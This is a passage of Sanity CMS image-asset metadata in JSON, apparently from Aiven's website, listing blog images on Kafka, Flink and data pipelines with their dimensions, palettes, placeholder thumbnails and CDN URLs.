eSwatch","background":"#f7c408","foreground":"#000","population":6.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5acd1","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acc4f4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6671ae","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c408","foreground":"#000","population":6.29,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Q3_release_summary_blog.png","path":"images/sczeoy4w/production/c4eb1559793d39308add9717033e5f19aabc9c1b-3133x1688.png","sha1hash":"c4eb1559793d39308add9717033e5f19aabc9c1b","size":985002,"title":"Q3 releases from Aiven","uploadId":"hM7KR24W1oeoJg7NTl3FsEASOgJgUIpn","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4eb1559793d39308add9717033e5f19aabc9c1b-3133x1688.png"} {"_createdAt":"2022-10-24T15:55:56Z","_id":"image-2361681d8b64253eaf80b0639c913fae4a76c428-800x426-png","_rev":"o6tzS9VqKAkmnDQmLEaVbt","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T16:02:41Z","altText":"Sequence order is guaranteed per partition (ADG, BEH and CFI), but not across partitions (the consumer gets ADBFEHCFI)","assetId":"2361681d8b64253eaf80b0639c913fae4a76c428","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8779342723004695,"height":426,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcklEQVQokX2S66rcMAyE8/7PWMruJpJtyVfJTpzrOWTbQkt7Ct+PQWhAM2jIcnDolhfLi+HF0uL8Qr6nstd21fnjPwwxH+CWJ+jrpk6mkV9CWosedb7ar722/Msc8g62PUZ5jPKcBIykOItuUg9t519cf5hT6Y5knMpz0gmFXEpBQuw+rm86vzXf9Ji3oqe0S9ul88eQy8osBjNAsTZ7lzxltBVsA9smU9GIMQVQJhTrlPxMYfVpz3oOMW/sigNyQIRMJpBJYHSyM7gZbXUmErKBAJANBsQ8YgXqIe9Dyp1dxJGmFxsgtswuoa2GF4qbj2sINXjxXMnP3lfyzflOcU9yvs/2CigvUDTiKcegPvZY9lLveFKPN6fUU+/JDy5td2G78wvYGeyCdnau5tzvYuffi/2ptR1Z1lR60U3bOaSyEusdEisaZdYi61dfkco6oX+8HNqUyjao9pTEkaJtzLVkqXX7yhxzf7zo23ccIcS8fgKIxG1JUhVoLwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4044","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#605024","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1eb78","foreground":"#000","population":0.08,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c7d3","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1eb78","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1a65c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-partitioning-sequence-order-guarantees.png","path":"images/sczeoy4w/production/2361681d8b64253eaf80b0639c913fae4a76c428-800x426.png","sha1hash":"2361681d8b64253eaf80b0639c913fae4a76c428","size":29161,"title":null,"uploadId":"EZWn8q1nzjuOU4hvuiXCqnLNWejLH1Pd","url":"https://cdn.sanity.io/images/sczeoy4w/production/2361681d8b64253eaf80b0639c913fae4a76c428-800x426.png"} {"_createdAt":"2022-10-24T15:10:06Z","_id":"image-2ff6bfe25fe1c09455c1367912b235d0d0085f24-1567x844-png","_rev":"o6tzS9VqKAkmnDQmLEOl8R","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T15:12:06Z","altText":"Blue image with Aiven crab logo and a grid of red dots. Text reads: Things to keep in mind when balancing Apache Kafka® partitions.","assetId":"2ff6bfe25fe1c09455c1367912b235d0d0085f24","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7Uul%NRis:M{?wt7RjkDRjjZM{WEofoJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACaElEQVQokSWO+U/aYABAO0sPsAU5NMZpso2eX3ErRxCEKU4xTqZMJRzt168HCFPEmSXORQfxCFcwJvuPF7bk5f32koe5Y+1Q+mo+fRVMXPrjbX+sGYiehtRG6L0TiJjBiBGMoAW1Hoqf+ROdYPJ7KHnpi7WJSOsVOMXm05dqsZet9jOVfrL0qBZ70WJ37eQ+fXKfOLyLFW7ihZvMcS9TfkqUnpLlfqrSB/t3c7FvuGhiy+nz9aO7z2hQcMZ5c7wBRxlt+Mma7DVeduxJDg43tMGu/Vxo/dmpv2T1sXr08Hb7J6u2XALCuOzZVun3odU/dIb79mjXGm3B4SYcbluTnDnJ6qNUpf9RG25bzzljvPqlG0p23KtNAtRx0cK49dbm8e0+fDywBgVrmEeDVOkhnL9ZyV0vbV4vZn8spjtL6YvlTOf1+kUo2nSLBsHpBA8JwcBW1lrRvevkwe3a127qqBcvdvn8LzZ+4VKauNKcAQ1csgkBETwkeY0OV+h3ZSpcIbkawesYoziBD6cBtRlQW4HomT/WZtRzQmniko2Llku0CAGRvE5yNYqr0uEy/b8U4HSb4CHFaRSvkTx0CSYuObhcd8k2JSNaRrRkekSdEaqzfNUj1GbFqWkJUrKFgwbm48sLcnU+Ar2yTvMaKRiEiGjZYAFkFcQoJguMOaB5p+g+RfcCyCjGrGJSwMEWhNKbVW0lZgciiOZrJKe5REQBi1GQV4GsrHtlzfevZAH0KgYTMRnFZIBBSwhjhKpP0lmAaNlySRYumjOSgysNUnE8EmT4MsuVWL7kEWpuyXDLiAI2BWxaRqRo/gVKvKDOP8oKtgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29345e","foreground":"#fff","population":0.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":28.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":28.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bad8","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94a6e8","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#846c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee9c31","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Things_to_keep_in_mind_balancing_kafka_partitions_blog.png","path":"images/sczeoy4w/production/2ff6bfe25fe1c09455c1367912b235d0d0085f24-1567x844.png","sha1hash":"2ff6bfe25fe1c09455c1367912b235d0d0085f24","size":64316,"title":null,"uploadId":"CNlbgn77YhVX1uzfV4Tq8aq1hWfUBByC","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ff6bfe25fe1c09455c1367912b235d0d0085f24-1567x844.png"} {"_createdAt":"2023-01-13T11:02:38Z","_id":"image-ff2955961f12be4d17a5e2088b52bbf9d826b68f-1875x1042-png","_rev":"cOoKElpg4AEXyE6qxZ4xqt","_type":"sanity.imageAsset","_updatedAt":"2023-01-13T11:02:58Z","altText":"Checking the Jar dependencies is a requirement to have a working Kafka connect connector","assetId":"ff2955961f12be4d17a5e2088b52bbf9d826b68f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7994241842610366,"height":1042,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADX0lEQVQokTWSbUwbBRjHn75AaVk6IDKuDNyKZMzoaKk9UAdmGrRzfIJeJs6XkWWGMLULAy1dHKh8mXPLUhZ0pitpe1vxeGnvSnvXF2S3cRQ2rG8sxrjED0ajZpoQdct0u3tMG/zw+/j/5f9/8gAKBCBvAkXIsxUQAb5nKZjlr6kZZqqapi+2+v3+jrGxsb2jo6PWo/2Dm1WP9GoJ26va6MHtGvSA+vaABtANgG8DgMKbtCgQBoU3bZJ5U8md+EPFuADqlcsz5RwX7b506eKk1+sV3W53xuVynXlr6MQTDfveqTTbqC1sj7kCh6D0rwGtGoc2hCgQWoU3laJAlGGSKJf5mnKcr9781WfjlpTAjbPR6C2fzyePjIz8Ozw8vOo999FL+147Xd1MPkdkDj9YiR7Q3+rXqfD4hvB+wgSYJNR/srVFP0/vKFmPVht+l45UfbE40714ZV6UJOkfURQxFothJBK5kUjwr3z4MWN88bE63ddHa/XoAc1JpwXWjxVtNEQA3msF0J9Q7Ww7VDLoqNN/O++vXV1Z9CwvZ3/I5XLK2tqanMvlMJvN3pQkqW9FWjQOXr0DfwR6VIWp/+MGgN5DjoIUdr6haX+my8jsr9ryo+9g3ap0+c2lpaXvJElCURTlVCqFyWTy13Q6/X5GFKuuT/jh9E9YyGLb86BYDwC2dALcOFAP2FcMYBpQvbu/VXezV1ux/kEjsZSJdS4sLGQzmYwcj8eVSCSCHMetJ3l+7EosYc6bvjl5RqU0HAYknYB2qgDIPbVwveNRcLVaALEN0AWaX853laT4uEMQhKvJZFLO3292dhY5lv07HZu78OX4xC6sedpwd8/LBrRTxQrpVOdlit0JIHc0F+f27Da8TpL6JrJFB6Um9Ux6WT03N/cUx3EJlmVvT01N3QuHw/cZhvmN/ZQ5u3Lq3MO4Y6/x3pPdFUhSZUhSm5CkdEg61SB3Wipz7c3mI8327Y3WJsJmbTS85xlQTU9PmxmG6Z+cnJwJBoPzgUAgHQqFLgQmJrrCp86WY0275u7ubh3anfmWRiSpUrRTWlBeaHjgc0fTtr4W27ZdFmuVrclqaKivh1AoVETT9Faaph8PBoMOmqbbw+Fw4yc+X9mzx4+prlkchRdBksqjUUinRrE7Vf8BVJaf5kALF+AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a3539","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#604110","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#604110","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdccba","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec547c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac686e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e63f5e","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image2_jar.png","path":"images/sczeoy4w/production/ff2955961f12be4d17a5e2088b52bbf9d826b68f-1875x1042.png","sha1hash":"ff2955961f12be4d17a5e2088b52bbf9d826b68f","size":573297,"title":"The magic potion","uploadId":"LkmoxQIXKdFvdjiQVG7OFkOdsaHPT0L6","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff2955961f12be4d17a5e2088b52bbf9d826b68f-1875x1042.png"} {"_createdAt":"2022-11-11T14:14:25Z","_id":"image-5077ac90b7a1693c839307ebfd48b38699456e40-1422x710-png","_rev":"AgVn9c2bYty4stE1RGJuQK","_type":"sanity.imageAsset","_updatedAt":"2022-11-11T14:15:57Z","altText":"A comparison illustration for cloud solutions - without APIs and with","assetId":"5077ac90b7a1693c839307ebfd48b38699456e40","description":"The pros and cons of different solutions and API connectors.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0028169014084507,"height":710,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABt0lEQVQokU1Sa4/TMBDM//81fEN8Bh0H9BActEnTxHVix8/4bSdpm6QoPQmQRqsd7cxqpZ3MpdUPq08PDKsb7n64+3R3D9h0t3G1cdV+of2IqOfCaRNtnF26Z1QOmAXGne6dc4OyI6KOiGi28WrcRUiPaWxwKmr5ekDHY4Nbpsy0mYtKvO5RUTQYtEpoTPTXl3KfQ2Wi86OlLdnvfnw57L6T/CSPFT/VHCLF+9GEJStBn59YWbEzFEz4jod9jsDprIX0WkXwjT6/e3r/4enjzxqIc2uqRgNkMI+9vWUQ2xoq0GiIbccTUxPlgdFeSeO0Dl3O8udfnz/tdy8NwMeK/y7IoaQAGWmuWdP5CirQakQD60euJswipn47zA69lBizFpKuRRiJEsii4sdaQGw3c0sCxA6zKM1F+5n1l7r1des6MSl3ozKB1p5b17GAqQfINJ0nInG1iTPWT1QOrN+kNq5c3wAeapSIvCq/MHUFOAGUOjERMZyxhdg9zJs+M2ExYTZhtnF16W7CKuwszKz8473/6KL9LPSlY7HBBhEn1Ji9heF/bCEZ3vpt3V/6qAsVsaxpDRnh4Q99ayaOtWqsLAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363753","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15163d","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#363753","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5accf","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48560","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc6f2c","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"versus-graphic.png","path":"images/sczeoy4w/production/5077ac90b7a1693c839307ebfd48b38699456e40-1422x710.png","sha1hash":"5077ac90b7a1693c839307ebfd48b38699456e40","size":90705,"title":"Future-proofing your cloud platform - with and without APIs","uploadId":"b1HYuAhuZllLuu8LdxzWd6mFJwLLfmkI","url":"https://cdn.sanity.io/images/sczeoy4w/production/5077ac90b7a1693c839307ebfd48b38699456e40-1422x710.png"} {"_createdAt":"2023-02-07T10:28:46Z","_id":"image-33769643b1bede78982f06df31c46a4c18d6f743-390x390-png","_rev":"iop8tFFqgfe67JrEbidhuh","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T10:28:46Z","assetId":"33769643b1bede78982f06df31c46a4c18d6f743","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":390,"width":390},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADaElEQVQ4jWWUB2/jNhiG8/9/0KG9LjTFAVmXXJbji2M71l6URInaIp9CspM4LYEPGqQevd884W0Z8341B3u73782aD2Z/v++ORhwcqAwP04HDh+bocFUAlOlmL6h7wdEVhPGiqruP/1oXsfAN9gbkLGDzALrHOwLxtQiSST3y5ibh4AwLhnH8cAxH97NwFn2QdV8Qs+qBus7/eIX9OaUNtzwso44PbO4vHwh3m3RZQJD9x+F5uDycazGgTrx8B+vcO4uUP6GWuY8rxPOz1e8XJ1TP/2Fca4xVYIx+pPSTwqn1Xc9zi7g/Ownl1dbgiCnbgbiWOIsHynuf0MvfwV3AooZ+B73D6DB6AH6CpVl3D04/P7Plu93AUFUUVYDdVHQuY/o1zOInqBKYOzfMvABnOlTKVQCwgVqc83ydsnNnYvtSXLZILKWUhaMuYMpPHSrGMdhLiGtP8psr3ACdhUmXMDzV/rlV+T2lixyKPKIOBZYboofxMjUo1EJTVNR1y113dE0PW3XM476yGUVYaxzzPoPtPONUfygl49k0ROb9ZrFcsfzao1trUhFQJ5L4qQgFoosr5FFTVV3s+KTOUtTtqIlfbSgS59o8weafEkWb9i9rnlZrVitnnndbkmSlFhIXu0Qyw5JRIHIKtKsou2GCTh1RUtfpZSZTylDlAyReUqWFSSJQIgI3/fZvHq4QU44ZdwNcb2pyCV+WBJEirrp9zGcpCqlSNOUoqxI8wrHz9k5KV6Qzy5luWJnR2xeA3Z2iO1EOF6M7YTYboJIFf0w7oHDMM6yo6SkVC1pVuA4DrvdFtfzkEWFLFtcP2H9smRxf8nD/Q922wWx90AudrRt9ZHlYdDEaYPtK5K0Ic0VQsRzAoQQc+AjUWHbDtb6gsXNFx6vv5DYp/TyBt26GN3te3lqEG0MZdXjBgrLUzi+wo9KIqFml20vw3JCfGeBDL6ROX+SuX/TyRvoLNDVfgbMhT33nWbsWopMEgYZfpDj+CW2V86B970dcbBGpQ+M6hZTLzDtFjMkGN3s2+/Qvnvg0GLqjFEG9HlAW+aUqkEWLZWSdHVM30ToLsIMAsYCdDtNkk/T5lDYei4bmhzKEFQEncLo/eG5Ts34bns1h4FyBHoDv7tsxg7Tlpi+mmHHQ/N4yh9DPm/sx9e/mp/8PyPqDB0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55576e","foreground":"#fff","population":1.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f4204","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd4ac","foreground":"#000","population":2.63,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb2c6","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd4ac","foreground":"#000","population":2.63,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#837e67","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f08","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"The utility of Flink without the operational overhead.png","path":"images/sczeoy4w/production/33769643b1bede78982f06df31c46a4c18d6f743-390x390.png","sha1hash":"33769643b1bede78982f06df31c46a4c18d6f743","size":28343,"uploadId":"x4D3m03MRVxglvbbjfrW3hfHCvgzWKnt","url":"https://cdn.sanity.io/images/sczeoy4w/production/33769643b1bede78982f06df31c46a4c18d6f743-390x390.png"} {"_createdAt":"2023-02-07T10:28:46Z","_id":"image-7103e45b9b3507a78f5128ac5c5fb377908e277b-390x390-png","_rev":"iop8tFFqgfe67JrEbidhml","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T10:28:46Z","assetId":"7103e45b9b3507a78f5128ac5c5fb377908e277b","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":390,"width":390},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADY0lEQVQ4jX2UXW8bRRSG8+f4BVxxgbjgS/wBLrmpEEJC0KJUolyUllS0tCgtERQQamha0TQhbkPSEiVx6tiJY3s/Zj9mvbOf86AZx47dIlZ6d86eM/PumTnvmTnGj9ZoO5j3aKyqCqUy0jSjLCvrq6uKuijRdT2aq/VkjbHnJoSnJKOgpq5rhkNFEEhkLCnyjCrNSJpdvI09otaAUhWTNWOMCKcc9rMuKVNJKAIGfY+o16HwO+QnXZyfHrF/cYmD26sELYe6rCbJmGfOkE2TWrNUFOKY6KSFf/SCcG8DdfCYdO8Zg1u/s//xAs8u/Eh7eRsVJjO7ezVDM6qIvL1B1Fgk2PyVYGeN+GATdXRA/HCD4ws3eH5ugf3v7iO7nj2iCeHZwdq9ojNJdfyU7I/PSW68R7TyNaLTInAF3kmf5to2uwt3ac4vcrz0iHQgZgkt02mFKTO016RYv0J25XXUV68R379I0DvCHzisP1zny/M3uTp/m917DZLDHpXKDd1shhbmP/mQuv8P+dpl0utvoX54m/TJVaLOE7y9de7d/J4P3v2Ed94/z907yyRuH+qzSlvZjGVihiIvSXwf2Wow/Psa+c635J1fCPeX8TZ/Y+vn65z78FPefOMjvvniEv7OKqQeuq6mM7RVoa41idI4osJ1PaS7jfI3SJ2nhK0Gwe46ztYDHize4vJn86xcu0SyuQS9LXQaonU9ks1EyBqyXBNLhfC7BN4LkugElQgyGZLFASp08TtN2o0V/L/uUD1fgsM/0XEP6pEeZ6ps260IScNdAreFlJIsK8jyMyRSEp3sk3VW0ScN8JpWZpMMp1Vuz7IUqGjHEsaxJEkUQSgtjB3FCcI5RIlddOZBldu+HqtldIZjHRrCKiaNmrj9Fr4fEoQJjhtaGNsXIe6gTRq30XV6msbZBTPTKaM+zlCyh+d0ESJCBJL+QFgIIa3Pd/uoxFS3OOvjSS+/TKhr0qHEcz1EEBNOZWhs4/M8QZoOZ646pglnbhqtGQ5zHDfC92OEiBlMMoytz8SGaT6zRp/u+xVCo8dIlvTdFE8MEUFCfxBaGNv4TCxOSjv35fX/SZikNX2/oOdm9BzFUU9aGNv4Bn5h5/wP4Vg6o9TLypBq3KCi6xS0e7mFsd2wsjEzZ6KMqS3/C7II6qG0eaM3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#656573","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c35b0d","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd3b0","foreground":"#000","population":4.2,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb1c5","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd3b0","foreground":"#000","population":4.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626399","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee7f1d","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Apache Flink deployed in the cloud of your choice.png","path":"images/sczeoy4w/production/7103e45b9b3507a78f5128ac5c5fb377908e277b-390x390.png","sha1hash":"7103e45b9b3507a78f5128ac5c5fb377908e277b","size":28340,"uploadId":"82YCrViapARl4cb62JpZ4awUdoDyWz6F","url":"https://cdn.sanity.io/images/sczeoy4w/production/7103e45b9b3507a78f5128ac5c5fb377908e277b-390x390.png"} {"_createdAt":"2023-02-07T10:28:46Z","_id":"image-8a84f2434e39422e2d3fae3705d75d7c6dd985c6-390x390-png","_rev":"q6IvLca7BfVqZtRwbmK67Z","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T10:28:46Z","assetId":"8a84f2434e39422e2d3fae3705d75d7c6dd985c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":390,"width":390},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADXUlEQVQ4jWWUaVMbRxCG+f9/w19SqTJxCoOPxBd2sCECgxE6QOhc7aVdHXsfs/2kZoUkIFM1u6pe1TNv99vTe4iw3YB+1r90SL82n7dxQR79n837Ye1tA5WCIoYsgDJDpAIpoIpBRUiVIqLWsJrzAH4GXQNVCbEPThuZXiDzAWQ+kptUyR1V0kWyeygcpIrrwzYqRe9H0DUwXYJ5Bd13SOsA6X8C74JydUU8vybyr8iXDaro5xqsloiUO5Wyg66BsQfDE2j+gVy/RFqvYPCW3PmB54wwLQfP6RH7+pAGknShnENdAh6p1Qr1yiOwb6D7FtHQ5j60X5ENjnGmJkOzZGwl2LbNYtYhXVyi4jukXIKu9UNNtW17W0N0De0m0vtYp01zn6L9ntlwQH+S0xkW3I1SxmaA6xis/Fvy2KBSyROj1inrraFZiCxGyOQM6R6iWq9Z3Z5zfTXm3ZcB/5y7tPoZfSPFsBb4nk2WLpCq/D9w3XOCqAKJLMT+jvTfEHWPOT0+58Xv//Lm04CTixkXrYDepMByVsSBjaioTndbw+ctICpGog7KPWE1/sXlxT0H77v89XXM0cc+hx/uub6NMZ2AaDlECndrUK1wY/+uUQskN8iWTTxnSm8U0Wgu+NZw2D9q8dvLBpdXE1zLJp63kWwIlb4MsPcEVMsWVFmSRj5Lf4Q78zBnBUOrpNmL+XIy5MfnM6xfp0SDBpl7hiQdUOEOuEm7qiqKoiQMExxnztSaY7kBthvieClTt2A0WuB3flLcHKHaB6jJ30hwCeXiwZQHWFkqsqwgy3KCMMZyFhh2yNRcMhkaTMcmjhvieSHR5BZ1+wG5+RO5O0Bmp1D4O6BSFXGcEYRJDS3KkiTNWQYprrtkMhgx6t1jTWe4s4i56xEbHfLeV1TnEJl8g8TdAXWqGrAKYsJoDVVK1ap1fD5fYZsuhuEztSNsN8BzLFbTJvnoMzL9DpGzBm5M0So1KIpSgiCpFedFWcc1OIxSTHvJ2PDrK+i7PSLvknJxjgT39fXdAjdrU8s0zWtjdAmSJKuN0rH5ImQ281nNDbJVFxW36/bSjb0ZaVtTnrotNSRO1nUNgrje+pAkSSm1Gj0YVFD333Z86eHwfAI/byNdBg3VsDwv68Mej6un40v4D+9A+VbtR7TMAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37395a","foreground":"#fff","population":1.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f4204","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd4ac","foreground":"#000","population":7.31,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3bdb4","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd4ac","foreground":"#000","population":7.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847a60","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f08","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"A self service Flink SQL developer experience.png","path":"images/sczeoy4w/production/8a84f2434e39422e2d3fae3705d75d7c6dd985c6-390x390.png","sha1hash":"8a84f2434e39422e2d3fae3705d75d7c6dd985c6","size":20634,"uploadId":"IQlEblLaH6mwYVTd4UAq8J0glXrKvhEN","url":"https://cdn.sanity.io/images/sczeoy4w/production/8a84f2434e39422e2d3fae3705d75d7c6dd985c6-390x390.png"} {"_createdAt":"2022-10-26T06:14:22Z","_id":"image-5583677a2d66121adcd2953324abdf28f7cef15d-1422x800-png","_rev":"9EhxcQHTplKyRiLd2Xl1uh","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T06:16:36Z","altText":"Data pipeline architecture based on future.com's graphic","assetId":"5583677a2d66121adcd2953324abdf28f7cef15d","description":"As you can see, data pipeline architectures can get complex (and if you’re interested in diving deeper, take a look at future.com). But here we’ve highlighted the data pipeline architecture components we’ll use for our 